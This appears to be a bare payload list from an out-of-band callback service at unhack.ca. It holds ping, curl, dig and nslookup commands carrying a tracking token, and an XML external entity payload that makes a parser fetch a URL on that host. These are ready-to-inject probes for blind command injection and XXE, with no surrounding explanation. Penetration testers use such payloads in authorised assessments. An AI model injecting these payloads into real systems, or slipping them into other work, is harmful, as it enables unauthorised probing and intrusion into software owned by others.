$ ping -c1 -p 00bfb0796fa3c4ef3073af81045b3f00 unhack.ca
 

$ curl http://unhack.ca/p/bfb0796fa3c4ef3073af81045b3f
 

$ dig bfb0796fa3c4ef3073af81045b3f @unhack.ca
 

$ dig bfb0796fa3c4ef3073af81045b3f.ns.unhack.ca
 

C:\> nslookup bfb0796fa3c4ef3073af81045b3f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bfb0796fa3c4ef3073af81045b3f">]>
    <foo>&xxe;</foo>